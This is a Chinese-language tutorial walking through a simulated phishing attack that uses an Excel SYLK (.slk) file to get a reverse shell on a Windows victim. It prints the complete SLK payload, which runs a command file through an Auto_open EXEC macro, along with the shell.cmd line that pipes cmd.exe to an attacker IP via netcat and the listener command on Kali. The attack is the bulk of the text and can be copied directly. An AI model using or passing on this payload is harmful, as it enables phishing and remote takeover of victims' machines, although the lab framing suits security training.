Office钓鱼攻击之SLK

通过Windows的office，可以实施许多钓鱼攻击，这里对其中的SLK，进行一个模拟钓鱼攻击，直接反弹shell。

环境

本文使用的环境和工具如下（可选择其他版本的系统和office）：

• Netcat for Windows，即nc.exe

攻击机1（用于制造钓鱼文件）：

• Windows 10
• Microsoft Office Excel 2016

攻击机2：

• kali

靶机：

• Windows 10
• Microsoft Office Excel 2016（不一定需要和攻击机一致）

相关知识

• 钓鱼攻击：钓鱼式攻击是指企图从电子通讯中，通过伪装成信誉卓著的法人媒体以获得如用户名、密码和信用卡明细等个人敏感信息的犯罪诈骗过程。
• Symbolic Link：Symbolic Link (SYLK) 是一种 Microsoft 文件格式，通常用于在应用程序（特别是电子表格）之间交换数据。 SYLK 文件通常具有 .slk 后缀。 它仅由可显示的 ANSI 字符组成，可以由其他应用程序（例如数据库）轻松创建和处理。

钓鱼文件准备

在攻击机1上准备钓鱼文件（如果没有那么多虚拟机，直接在靶机上制作也可）：

首先，新建一个TXT文件，并打开，输入以下内容：

ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;K0;EEXEC("c:\shell.cmd")
C;X1;Y102;K0;EHALT()
E

完成之后点击保存，重命名，更改后缀为slk：

重命名后的文件

将该文件传至靶机，任意目录均可。

下载Netcat for Windows，解压，移动到靶机上，记住其存放地址

新建一个TXT文件，写入内容：

C:\tools\nc.exe 10.0.0.5 443 -e cmd.exe

其中，C:\tools\nc.exe为刚刚记住的nc的存放路径，10.0.0.5为反弹shell的攻击机ip

重命名该文件为shell.cmd，然后移动到靶机的C盘根目录下

实施攻击

打开攻击机2，也就是kali，输入命令回车：

nc -lvnp 443

可以看到，监听已经建立：

监听建立

然后打开靶机，在靶机内打开钓鱼文件，点击启用内容：

打开钓鱼文件

查看Windows下方任务栏，可以看到唤起了一个cmd程序：

唤起的cmd程序

同时，可以看到kali上已经建立了连接，可以在靶机上执行任意命令：

反弹shell成功

说明钓鱼攻击反弹shell成功。

参考资料

• Phishing: .SLK Excel
• Symbolic Link